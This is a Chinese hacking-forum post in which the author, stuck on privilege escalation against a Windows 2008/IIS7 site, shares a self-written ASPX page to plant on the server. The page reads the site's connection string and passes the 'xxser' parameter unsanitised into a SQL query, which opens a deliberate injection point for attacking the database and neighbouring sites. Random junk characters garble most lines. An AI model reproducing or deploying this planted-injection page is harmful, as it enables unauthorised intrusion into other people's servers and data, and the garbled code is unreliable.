昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。0 {- t7 t, m" x
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
; n8 G" I% t; G- w# S# y2 Q代码量不多,自己写个拉倒了。烦死了。
+ x0 D7 H+ f1 ?' ~
: g. x. M P, U5 q! `# V9 p( O5 s. F1 `+ x1 c' c4 J
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
# d3 X6 I/ Y3 f) H+ f% R8 X<html xmlns="http://www.w3.org/1999/xhtml">
2 D# y' }( p3 N6 e% l3 z e# b4 W<head runat="server">
N2 H* l) Q7 P+ H) [ <title>暗影aspx构造注射专用页面</title>
9 V/ a% W- S: j% A2 m' j$ _</head>! T9 H) d4 u N3 I9 [. @( Q
<body>; F; G& o# \( z9 e! _& P* U
<form id="form1" runat="server">. Z# y; }( x( z) g+ O( S
<div>5 K* e! p( b4 C6 c
<script language="c#" runat="server">
: o+ @0 I' a! I ( E w% v- b% F' C( o0 i0 ~$ ~
void page_init(object sender, EventArgs e)
! q4 S( R8 e, z6 }7 s. U {
3 I+ K7 }3 X+ L3 s5 } 8 Q$ L8 O: }2 [, W! \, P
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();6 U3 Y. F I( f' w) s
8 c; s+ Z6 P9 |" h! }5 U conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
' p& \5 D6 P* j& a- n/ S conn.Open();
% h9 q+ o: ]$ x& d; x+ i- A' y 5 j% A* J5 _* |7 _8 A3 M
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
+ {5 d R9 u3 q! A / o e n0 w2 r8 {1 f h
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
5 Q" u1 m( [: E int x = command.ExecuteNonQuery();
' P/ @3 t. P9 ^- B0 e# V6 S) n Response.Write(i+"\n");
; o. b+ H- b4 @, i$ y6 s Response.Write(x);1 Z0 g. N# T2 ~8 X! s* M
conn.Close();
3 e+ [* w+ N$ A/ L( k5 d }
4 [& G7 P, C: V! U- @ % s9 C. D! u: ]5 O6 h) j0 m
</script>
7 ?8 W' F* Y1 b7 }% |4 q </div>
- `9 X1 o* }0 x6 f$ g </form>
* w, R$ T$ V! h! \( j3 n</body>6 E% J4 D$ W3 g, E$ I* K; R* ]
</html>
& ^* j9 C: m- I4 i \ |